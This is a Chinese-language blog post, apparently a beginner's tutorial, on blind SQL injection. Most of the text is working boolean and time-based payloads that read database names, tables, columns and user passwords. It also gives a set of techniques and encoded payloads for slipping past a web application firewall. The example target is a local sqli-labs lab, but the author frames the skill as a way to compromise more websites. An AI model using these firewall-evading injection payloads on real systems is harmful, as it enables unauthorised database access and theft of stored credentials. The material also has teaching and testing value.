sql注入杂谈(三)盲注

前面2章已经讲过了union select 以及报错注入的语法以及简单的绕狗方法,现在我来谈谈我对于盲注的看法,网上把盲注的种类分了几种,我在这里就不分了,我就把我自己目前掌握的方法都记录下来,绕狗的一些心得。顺带一提,其实我的盲注其实是很菜的,但是盲注确是很厉害的,因为能union select注入和报错注入的网站,肯定能盲注,但是盲注的网站不一定能用union select以及报错注入拿下,意思就是掌握盲注其实能日的站要广一些。

首先讲讲盲注一些基础的东西,其实我们才学sql注入有的讲师将盲注,就会讲一些很基本的函数,比如left ,length,substr等,盲注函数三剑客。但是只掌握这3个函数,对于我们盲注来说,只能玩玩sqli-labs,其实盲注配合burpsuit基于fuzz看长度来做,为提高很高的效率,不说p话了。

and length(database())=8%23--+     //我们用这个来看看网站当前数据库的长度。如果有waf,一套组合拳

127.0.0.1/sql/Less-1/?id=1' %0b/*!%26%26*/%0b!!!%23%0aleNGth(database/**/(/**/))=8%23--+      //看数据库的长度

 然后同样的left函数我们也可以这样绕过

接下来我就讲讲substr这个函数,以及怎么样绕过

and substr((select database()),3,1)='c' --+     //遍历3得到数据库的名字,security
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>109--+      //得到表   红色的为第一个表的第二字字母,紫色的为第几个表
and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^password' limit 0,1)--+    //查看users表里的字段,password也可以换成username
and ORD(MID((SELECT IFNULL(CAST(password AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+     //爆破user表里的password的字段,红色的为Dumb,紫色的为i-kill-you
关于绕狗的几点建议

1.我们首先也可以大小写绕过 suBStr这样

2.函数替代,其实我们的sunstr = substring

3.利用内联注释

4.反引号

5.特殊符号

6.增加函数

  and IFNULL((substr((select database()),1,1)='s'),0) --+     //增加一个infull函数

  and strcmp((substr((select database()),3,1)='c'),1)--+      //增加一个strcmp函数

  and 0=strcmp((substr((select user()),2,1)='o'),0)--+     //这是对于strcmp函数的变形

接下来看绕狗的payload:%0b/*!%26%26*/%0b!!!%23%0a ascii(sUbstRIng((select table_name from (`information_schema`./**/tables) where table_schema=database/**/(/**/) limit 0,1),2,1))>103--+

 

 然后是case when来绕过

and case when (substr((select user()),1,1)="r") then sleep(3) else 1 end--+    //用when case绕过

%0b/*!50000|*/%0b!!!/*!case*/%23--hex()%0awhen (sUbsTrinG((select user/**/(/**/)),1,1)="r") then sleep(3) else 1 end/*!13440*/--+    //这里就不截图了,但是回显的时间正确的明显比错误的常

利用if来绕过

  and If(ascii(length(database()))=56,1,sleep(5))--+      //绕过的payload如上面所演示

  基于这一类,我们可以结合burpsuit,就不用等回显,我们直接看长度

  

 绕过的方法也如上

因为我的盲注也很弱,所以基于绕过盲注的方法也只有这么一点,但是我还是希望这几篇文章能够帮到一些刚刚学习sql注入的朋友,文章如有错误,还请各位看官斧正

  

 

原文地址:https://www.cnblogs.com/xinxin999/p/12524742.html